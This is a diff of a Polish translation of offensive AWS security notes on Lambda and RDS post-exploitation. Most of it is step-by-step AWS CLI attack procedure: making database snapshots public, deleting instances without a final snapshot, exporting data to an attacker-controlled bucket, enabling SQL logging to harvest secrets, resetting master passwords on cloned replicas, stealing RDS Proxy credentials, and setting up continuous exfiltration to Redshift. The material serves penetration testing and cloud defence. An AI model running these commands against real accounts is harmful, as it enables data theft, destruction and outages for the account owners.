Wykorzystaj zaawansowane ustawienia logowania `lambda:UpdateFunctionConfiguration` do przekierowania logów funkcji do wybranej przez atakującego grupy logów CloudWatch Logs. Działa to bez zmiany kodu ani roli wykonawczej (większość ról Lambda już zawiera `logs:CreateLogGroup/CreateLogStream/PutLogEvents` przez `AWSLambdaBasicExecutionRole`). Jeśli funkcja wypisuje secrets/request bodies lub ulega crashowi ze stack trace, możesz je zebrać z nowej grupy logów.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Zamień prywatny Lambda Function URL w publiczny, nieautoryzowany endpoint, zmieniając Function URL AuthType na NONE i dołączając resource-based policy, która przyznaje lambda:InvokeFunctionUrl wszystkim. To umożliwia anonimowe wywoływanie wewnętrznych funkcji i może ujawnić wrażliwe operacje backendowe.
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Wykorzystaj `UpdateEventSourceMapping` do zmiany docelowej funkcji Lambda istniejącego Event Source Mapping (ESM), tak aby rekordy z DynamoDB Streams, Kinesis, lub SQS były dostarczane do funkcji kontrolowanej przez atakującego. To cicho przekierowuje dane na żywo bez ingerencji w producentów ani oryginalny kod funkcji.
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Wykorzystaj `lambda:UpdateFunctionConfiguration` do podłączenia istniejącego EFS Access Point do Lambda, a następnie wdrożenia prostego kodu, który listuje/odczytuje pliki z zamontowanej ścieżki, aby exfiltrate współdzielone secrets/config, do których funkcja wcześniej nie miała dostępu.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
+98
-62
@@ -12,7 +12,7 @@ Więcej informacji:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie przywrócenie z niego publicznie dostępnej DB.
|
||||
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie przywrócenie z tego snapshotu publicznie dostępnej DB.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Atakujący posiadający uprawnienie `rds:StopDBCluster` lub `rds:StopDBInstance` może wymusić natychmiastowe zatrzymanie instancji RDS lub całego klastra, powodując niedostępność bazy danych, zerwanie połączeń oraz przerwanie procesów zależnych od bazy danych.
|
||||
|
||||
Aby zatrzymać pojedynczą instancję DB (przykład):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Aby zatrzymać cały klaster DB (przykład):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Atakujący, któremu przyznano rds:Delete*, może usunąć zasoby RDS — usuwać instancje DB, klastry, snapshoty, zautomatyzowane kopie zapasowe, grupy subnetów, grupy parametrów/opcji oraz powiązane artefakty, powodując natychmiastową niedostępność usługi, utratę danych, zniszczenie punktów przywracania i utratę dowodów śledczych.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tego snapshotu.
|
||||
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby w swoim koncie po prostu utworzyć DB z tego snapshotu.
|
||||
|
||||
Jeśli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshots **publicznymi**.
|
||||
Jeśli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshoty **publicznymi**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +89,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać fragmenty plików dziennika instancji RDS**. Jeśli w logach przypadkowo zapisane zostaną wrażliwe dane lub dane dostępowe, atakujący może potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
|
||||
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać części plików logów instancji RDS**. Jeśli wrażliwe dane lub poświadczenia dostępu zostaną przypadkowo zapisane w logach, atakujący mógłby potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania z użyciem leaked credentials.
|
||||
**Potential Impact**: Dostęp do poufnych informacji lub nieautoryzowane działania przy użyciu leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -66,35 +102,35 @@ Atakujący posiadający te uprawnienia może **DoS istniejące instancje RDS**.
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potential impact**: Usunięcie istniejących instancji RDS i potencjalna utrata danych.
|
||||
**Potencjalny wpływ**: Usunięcie istniejących instancji RDS i możliwa utrata danych.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować
|
||||
|
||||
Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji RDS do bucketu S3**. Jeżeli atakujący ma kontrolę nad docelowym bucketem S3, może potencjalnie uzyskać dostęp do wrażliwych danych zawartych w wyeksportowanym snapshotcie.
|
||||
>
|
||||
> Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji RDS do S3 bucket**. Jeśli atakujący ma kontrolę nad docelowym S3 bucket, może potencjalnie uzyskać dostęp do danych wrażliwych zawartych w wyeksportowanym snapshotcie.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanej migawce.
|
||||
**Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.
|
||||
|
||||
### Replikacja zautomatyzowanych backupów między Regionami dla ukrytego przywrócenia (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Wykorzystaj replikację zautomatyzowanych backupów cross-Region, aby cicho zdublować zautomatyzowane backupy instancji RDS do innego Regionu AWS i tam je przywrócić. Następnie atakujący może udostępnić przywróconą bazę danych publicznie i zresetować hasło główne, aby uzyskać dostęp do danych poza nadzorem w Regionie, którego obrońcy mogą nie monitorować.
|
||||
Wykorzystaj replikację automatycznych backupów między Regionami, aby dyskretnie skopiować automatyczne kopie zapasowe instancji RDS do innego Regionu AWS i tam je przywrócić. Atakujący może następnie udostępnić przywróconą bazę danych publicznie i zresetować hasło master, aby uzyskać dostęp do danych poza kanałami monitorowanymi przez obrońców w Regionie, któremu mogą nie poświęcać uwagi.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` w docelowym Regionie
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` w docelowym Regionie
|
||||
- `rds:RestoreDBInstanceToPointInTime` w docelowym Regionie
|
||||
- `rds:ModifyDBInstance` w docelowym Regionie
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opcjonalne sprzątanie)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (aby udostępnić przywróconą bazę danych)
|
||||
|
||||
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
|
||||
Impact: Utrzymanie dostępu i eksfiltracja danych przez przywrócenie kopii danych produkcyjnych w innym Regionie i publiczne ich udostępnienie z użyciem poświadczeń kontrolowanych przez atakującego.
|
||||
|
||||
<details>
|
||||
<summary>Pełny przykład CLI (zamień placeholdery)</summary>
|
||||
<summary>Pełny przebieg CLI (zamień placeholdery)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,9 +199,9 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Włącz pełne logowanie SQL przy użyciu DB parameter groups i wyeksfiltruj je za pomocą RDS log APIs
|
||||
### Włącz pełne logowanie SQL via DB parameter groups i exfiltrate via RDS log APIs
|
||||
|
||||
Wykorzystaj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne poświadczenia silnika DB). Włącz logowanie SQL w silniku i pobierz pliki logów za pomocą `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać sekrety/PII/JWTs.
|
||||
Wykorzystaj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne DB engine credentials). Włącz logowanie SQL na poziomie silnika i pobierz pliki logów za pomocą `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zbierania zapytań, które mogą zawierać secrets/PII/JWTs.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
@@ -174,15 +210,15 @@ Permissions needed (minimum):
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Rozpoznaj cel i aktualną grupę parametrów
|
||||
1) Recon celu i aktualnej grupy parametrów DB
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Upewnij się, że przypisana jest niestandardowa DB parameter group (nie można edytować domyślnej)
|
||||
- Jeśli instancja już używa niestandardowej grupy, użyj ponownie jej nazwy w następnym kroku.
|
||||
- W przeciwnym razie utwórz i przypisz taką, która odpowiada rodzinie silnika:
|
||||
2) Upewnij się, że dołączona jest niestandardowa DB parameter group (nie można edytować domyślnej)
|
||||
- Jeśli instancja już używa niestandardowej grupy, użyj jej nazwy w następnym kroku.
|
||||
- W przeciwnym razie utwórz i dołącz grupę zgodną z rodziną silnika:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -197,7 +233,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Włącz szczegółowe logowanie SQL
|
||||
- MySQL engines (natychmiastowe / bez restartu):
|
||||
- MySQL engines (natychmiast / bez restartu):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL silniki (wymagany restart):
|
||||
- Silniki PostgreSQL (wymagany restart):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Pozwól, aby obciążenie działało (lub wygeneruj zapytania). Instrukcje zostaną zapisane do logów plików silnika
|
||||
4) Pozwól, aby workload działał (lub generuj zapytania). Zapytania zostaną zapisane w logach plików silnika
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Odkryj i pobierz logi (no DB creds required)
|
||||
5) Odszukaj i pobierz logi (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -235,11 +271,11 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizuj offline w poszukiwaniu danych wrażliwych
|
||||
6) Analiza offline w poszukiwaniu danych wrażliwych
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Przykładowe dowody (ocenzurowane):
|
||||
Przykładowe dowody (zacenzurowane):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Wpływ: Dostęp do danych po post-exploitation poprzez przechwytywanie wszystkich zapytań SQL aplikacji za pomocą AWS APIs (bez poświadczeń DB), potencjalnie leaking secrets, JWTs i PII.
|
||||
Wpływ: Post-exploitation dostęp do danych poprzez przechwytywanie wszystkich instrukcji SQL aplikacji za pośrednictwem AWS APIs (bez DB creds), potencjalnie leaking secrets, JWTs i PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Wykorzystaj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez używania poświadczeń instancji głównej. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia instancji głównej) i opcjonalnie wystawić replikę publicznie, aby exfiltrate data.
|
||||
Wykorzystaj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez ingerencji w poświadczenia instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia primary) i opcjonalnie wystawić replikę publicznie, aby exfiltrate data.
|
||||
|
||||
Wymagane uprawnienia (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (jeśli wystawiasz publicznie)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Wpływ: Dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ instancja główna pozostaje nietknięta, a replikacja nadal działa.
|
||||
Wpływ: dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ primary pozostaje nietknięty, a replikacja trwa.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Przykładowe dowody (MySQL):
|
||||
- Status repliki DB: `available`, read replication: `replicating`
|
||||
- Pomyślne połączenie z nowym hasłem i `@@read_only=1`, potwierdzające dostęp tylko do odczytu do repliki.
|
||||
- Status repliki DB: `available`, replikacja odczytu: `replicating`
|
||||
- Pomyślne połączenie z nowym hasłem i `@@read_only=1`, potwierdzające dostęp do repliki tylko do odczytu.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Wykorzystaj RDS Blue/Green, aby sklonować produkcyjną DB do ciągle replikowanego, tylko do odczytu środowiska green. Następnie zresetuj główne poświadczenia green, aby uzyskać dostęp do danych bez ingerencji w instancję blue (prod). Jest to bardziej dyskretne niż udostępnianie snapshotów i często omija monitoring skupiony wyłącznie na źródle.
|
||||
Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej DB do środowiska green, które jest ciągle replikowane i tylko do odczytu. Następnie zresetuj green master credentials, aby uzyskać dostęp do danych bez ingerencji w instancję blue (prod). To jest bardziej dyskretne niż udostępnianie snapshotu i często omija monitoring skupiony wyłącznie na źródle.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impact: Dostęp tylko do odczytu, ale pełny dostęp do danych do niemal rzeczywistej kopii środowiska produkcyjnego bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wydobywania danych i analizy offline.
|
||||
Wpływ: Dostęp tylko do odczytu, ale pełny dostęp do danych z klonu produkcji niemal w czasie rzeczywistym, bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wydobywania danych i analizy offline.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
### SQL poza pasmem przez RDS Data API poprzez włączenie HTTP endpointu + zresetowanie master password
|
||||
|
||||
Wykorzystaj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować master password do wartości, którą kontrolujesz, i uruchomić SQL przez HTTPS (nie jest wymagana ścieżka sieciowa VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
|
||||
Wykorzystaj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować master password na wartość, którą kontrolujesz, i uruchamiać SQL przez HTTPS (nie jest wymagana ścieżka sieciowa VPC). Działa na silnikach Aurora, które wspierają Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
- rds-data:ExecuteStatement (oraz rds-data:BatchExecuteStatement, jeśli używane)
|
||||
|
||||
Wpływ: Omijanie segmentacji sieci i exfiltrate danych za pomocą AWS APIs bez bezpośredniej łączności VPC z DB.
|
||||
Wpływ: Omija segmentację sieci i exfiltrate dane przez AWS APIs bez bezpośredniej łączności VPC z DB.
|
||||
|
||||
<details>
|
||||
<summary>Pełny przykład CLI (Aurora MySQL example)</summary>
|
||||
<summary>Pełny przykład CLI (Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Uwagi:
|
||||
- Jeśli wielowyrażeniowe zapytania SQL są odrzucane przez rds-data, wykonaj oddzielne wywołania execute-statement.
|
||||
- Dla silników, dla których modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
|
||||
- Jeśli wielozdaniowe polecenia SQL są odrzucane przez rds-data, wydaj osobne wywołania execute-statement.
|
||||
- Dla silników, gdzie modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
|
||||
- Upewnij się, że silnik/wersja faktycznie obsługuje Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
|
||||
|
||||
|
||||
### Pozyskaj poświadczenia DB przez RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Pozyskanie poświadczeń DB przez sekrety uwierzytelniania RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Wykorzystaj konfigurację RDS Proxy, aby odnaleźć sekret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj sekret, aby uzyskać poświadczenia bazy danych. Wiele środowisk przyznaje szerokie `secretsmanager:GetSecretValue`, co czyni to niskotrudnym pivotem do poświadczeń DB. Jeśli sekret używa CMK, źle zakresowane uprawnienia KMS mogą również pozwolić na `kms:Decrypt`.
|
||||
Nadużyj konfiguracji RDS Proxy, aby odkryć sekret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj sekret, aby uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane są szerokie uprawnienia `secretsmanager:GetSecretValue`, co czyni to łatwym pivot do poświadczeń DB. Jeśli sekret używa CMK, źle ograniczone uprawnienia KMS mogą także pozwolić na `kms:Decrypt`.
|
||||
|
||||
Wymagane uprawnienia (minimalne):
|
||||
Wymagane uprawnienia (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` na referencjonowanym SecretArn
|
||||
- Opcjonalne, gdy sekret używa CMK: `kms:Decrypt` na tym kluczu
|
||||
- `secretsmanager:GetSecretValue` na wskazanym SecretArn
|
||||
- Opcjonalnie, gdy sekret używa CMK: `kms:Decrypt` na tym kluczu
|
||||
|
||||
Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalszy ruch boczny.
|
||||
Skutek: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalsze lateral movement.
|
||||
|
||||
Kroki
|
||||
```bash
|
||||
@@ -480,20 +516,20 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Ukryta ciągła eksfiltracja via Aurora zero‑ETL do Amazon Redshift (rds:CreateIntegration)
|
||||
### Potajemna ciągła eksfiltracja przez Aurora zero‑ETL do Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Wykorzystaj integrację Aurora PostgreSQL zero‑ETL do ciągłej replikacji danych produkcyjnych do namespace Redshift Serverless, którym zarządzasz. Przy nadmiernie liberalnej Redshift resource policy, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego Aurora cluster ARN, atakujący może ustanowić kopię danych prawie w czasie rzeczywistym bez DB creds, snapshots ani network exposure.
|
||||
Wykorzystaj integrację Aurora PostgreSQL zero‑ETL do ciągłej replikacji danych produkcyjnych do namespace Redshift Serverless, którym zarządzasz. Przy luźnej polityce zasobów Redshift, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego ARN klastra Aurora, atakujący może ustanowić niemal w czasie rzeczywistym kopię danych bez DB creds, snapshots ani narażenia sieciowego.
|
||||
|
||||
Wymagane uprawnienia (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (do zapytań)
|
||||
- `rds-data:ExecuteStatement` (opcjonalnie; do zasiania danych, jeśli potrzebne)
|
||||
- `rds-data:ExecuteStatement` (opcjonalne; do inicjalnego wprowadzenia danych, jeśli konieczne)
|
||||
|
||||
Testowano w: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Testowane w: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
|
||||
<summary>1) Utwórz namespace Redshift Serverless i workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -509,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Skonfiguruj politykę zasobów Redshift, aby umożliwić źródłu Aurora</summary>
|
||||
<summary>2) Skonfiguruj politykę zasobów Redshift, aby umożliwić źródło Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -583,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materializuj i zapytuj zreplikowane dane w Redshift</summary>
|
||||
<summary>5) Zmaterializuj i wykonaj zapytania do zreplikowanych danych w Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -598,10 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Dowody zaobserwowane w teście:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION pokazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 oraz stan PendingDbConnectState przed utworzeniem DB.
|
||||
